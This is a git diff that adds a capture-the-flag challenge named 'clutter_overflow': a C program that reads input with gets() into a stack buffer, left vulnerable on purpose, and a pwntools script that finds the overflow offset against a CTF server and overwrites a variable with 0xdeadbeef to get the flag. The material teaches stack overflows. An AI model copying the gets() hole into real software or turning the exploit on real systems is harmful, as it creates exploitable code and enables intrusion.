diff --git a/clutter_overflow/chall b/clutter_overflow/chall new file mode 100755 index 0000000..c37dc1d Binary files /dev/null and b/clutter_overflow/chall differ diff --git a/clutter_overflow/chall.c b/clutter_overflow/chall.c new file mode 100644 index 0000000..e95a086 --- /dev/null +++ b/clutter_overflow/chall.c @@ -0,0 +1,54 @@ +#include +#include + +#define SIZE 0x100 +#define GOAL 0xdeadbeef + +const char* HEADER = +" ______________________________________________________________________\n" +"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|\n" +"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |\n" +"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|\n" +"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ / \\^ ^ |\n" +"|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ / \\ ^ _ ^ / | | \\^ ^|\n" +"| ^/_\\^ ^ ^ /_________\\^ ^ ^ /_\\ | // | /_\\ ^| | ____ ____ | | ^ |\n" +"|^ =|= ^ =================^ ^=|=^| |^=|=^ | | {____}{____} | |^ ^|\n" +"| ^ ^ ^ ^ | ========= |^ ^ ^ ^ ^\\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |\n" +"|^ ^ ^ ^ ^| / ( \\ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/ %%%%%%%%%%%%%% \\|^ ^|\n" +".-----. ^ || ) ||^ ^.-------.-------.^| %%%%%%%%%%%%%%%% | ^ |\n" +"| |^ ^|| o ) ( o || ^ | | | | /||||||||||||||||\\ |^ ^|\n" +"| ___ | ^ || | ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |\n" +"|'.____'_^||/!\\@@@@@/!\\|| _'______________.'|== =====\n" +"|\\|______|===============|________________|/|\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n" +"\" ||\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" \n" +"\"\"''\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n" +"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n" +"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\""; + +int main(void) +{ + long code = 0; + char clutter[SIZE]; + + setbuf(stdout, NULL); + setbuf(stdin, NULL); + setbuf(stderr, NULL); + + puts(HEADER); + puts("My room is so cluttered..."); + puts("What do you see?"); + + gets(clutter); + + + if (code == GOAL) { + printf("code == 0x%llx: how did that happen??\n", GOAL); + puts("take a flag for your troubles"); + system("cat flag.txt"); + } else { + printf("code == 0x%llx\n", code); + printf("code != 0x%llx :(\n", GOAL); + } + + return 0; +} diff --git a/clutter_overflow/sol.py b/clutter_overflow/sol.py new file mode 100755 index 0000000..0a4f19b --- /dev/null +++ b/clutter_overflow/sol.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python +from pwn import * + +def get_conn(): + #return process("./chall") + return remote("mars.picoctf.net", 31890) + +def try_memory_offset(offset): + cycle = cyclic(length=offset, n=8) + + conn = get_conn() + + conn.recvuntil(b"see?") + conn.recvline() + + conn.sendline(cycle) + conn.recvuntil(b"== ") + result = conn.recvline(keepends=False) + + conn.close() + + return result + +base = 0x100 +exp = 0 +p = log.progress("searching for variable offset") +while True: + offset = base + 2**exp + p.status(f"trying offset {offset}") + try: + result = try_memory_offset(offset) + except: + base = base + 2**(exp-1) + exp = 0 + continue + if result != b"0x0": + next_result = 0 + i = 0 + while result != next_result: + i += 1 + result = next_result + next_result = try_memory_offset(offset+i) + offset = cyclic_find(int(result, 16), n=8) + p.success(f"found result {unhex(result[2:])} at offset {offset}") + break + exp += 1 + +conn = get_conn() + +conn.recvuntil(b"see?") +conn.recvline() + +conn.sendline(b"a"*offset + p64(0xdeadbeef)) +conn.interactive() +